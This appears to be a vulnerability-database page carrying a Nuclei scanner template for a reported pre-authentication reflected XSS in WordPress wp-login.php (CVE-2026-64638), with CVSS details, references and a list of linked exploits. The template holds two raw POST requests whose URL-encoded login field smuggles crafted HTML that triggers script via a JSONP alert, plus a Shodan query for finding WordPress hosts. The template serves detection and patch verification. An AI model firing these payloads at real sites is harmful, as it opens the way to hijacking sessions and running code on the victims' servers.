WordPress Core < 7.0.3 - Preauth Reflected XSS (XSS2Shell)
| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| Exploit for CVE-2026-64638 | 7 Aug 202614:46 | – | githubexploit | |
| Exploit for CVE-2026-64638 | 8 Aug 202601:20 | – | githubexploit | |
| Exploit for CVE-2026-64638 | 7 Aug 202622:07 | – | githubexploit | |
| Exploit for CVE-2026-64638 | 7 Aug 202617:48 | – | githubexploit | |
| Exploit for CVE-2026-64638 | 7 Aug 202616:52 | – | githubexploit | |
| Exploit for CVE-2026-64638 | 7 Aug 202623:48 | – | githubexploit | |
| Exploit for CVE-2026-64638 | 7 Aug 202623:48 | – | githubexploit | |
| Exploit for CVE-2026-64638 | 7 Aug 202617:02 | – | githubexploit | |
| Exploit for CVE-2026-64638 | 7 Aug 202622:02 | – | githubexploit | |
| Exploit for CVE-2026-64638 | 7 Aug 202622:44 | – | githubexploit |
10
id: CVE-2026-64638
info:
name: WordPress Core < 7.0.3 - Preauth Reflected XSS (XSS2Shell)
author: FLX | Nick Vidovic (greenhats)
severity: high
description: |
Pre-authentication reflected XSS in WordPress wp-login.php (CVE-2026-64638).
The flaw exploits a parser differential between PHP strip_tags() and
WordPress KSES. Tags with whitespace after < (e.g. "< area") survive
strip_tags() but are normalized to valid HTML by KSES, leading to
attacker-controlled DOM elements that trigger automatic JavaScript
execution via user-profile.js. No user interaction required.
Affects all WordPress versions < 7.0.3.
impact: |
Attackers can execute scripts leading to remote code execution via social engineering and victim interaction.
remediation: |
Upgrade WordPress to 7.0.3 or apply the backported security patch.
reference:
- https://pwn.ai/blog/xss2shell
- https://thehackernews.com/2026/08/new-wordpress-pre-auth-xss-could-lead.html
- https://nvd.nist.gov/vuln/detail/CVE-2026-64638
- https://wordpress.org/news/2026/08/wordpress-7-0-3-release/
classification:
cve-id: CVE-2026-64638
cvss-score: 8.9
cwe-id: CWE-79
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
metadata:
max-request: 3
verified: true
shodan-query: http.component:"wordpress"
tags: cve,cve2026,wordpress,xss,rce,pwnai
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-login.php"
matchers:
- type: word
part: body
words:
- "loginform"
- "wp-core-ui"
condition: and
internal: true
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log=%3C%20area%20id%3Dajaxurl%20href%3D%2F%3Frest_route%3D%2F%26_method%3DGET%26_jsonp%3Dalert%3E%3C%20div%20id%3Dcolor-picker%20class%3Dreset-pass-submit%3E%3C%20button%20class%3D%22wp-generate-pw%20color-option%22%3EX&pwd=x&wp-submit=Log+In
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log=%3C%20area%20id%3Dajaxurl%20href%3D%2F%3Frest_route%3D%2F%26_method%3DGET%26_envelope%3D1%26_jsonp%3Dalert%3E%3C%20div%20id%3Dcolor-picker%20class%3Dreset-pass-submit%3E%3C%20button%20class%3D%22wp-generate-pw%20color-option%22%3EX&pwd=x&wp-submit=Log+In
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "<area[^>]*id=[\"']?ajaxurl"
- type: status
status:
- 200
extractors:
- type: regex
part: body
regex:
- "<area[^>]*id=[\"']?ajaxurl[^>]*>"
# digest: 490a004630440220084aa9fc3a7b14451e611674a0d4818e6b2b2fd2d8cf29f4d94c0012248d7f7002206396df2c67c117ba9ae8552e473f466b70c4eb29e33d4714a85e060e33cc02f2:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
07 Aug 2026 20:01Current
5.6Medium risk
Vulners AI Score5.6
CVSS 48.9
SSVC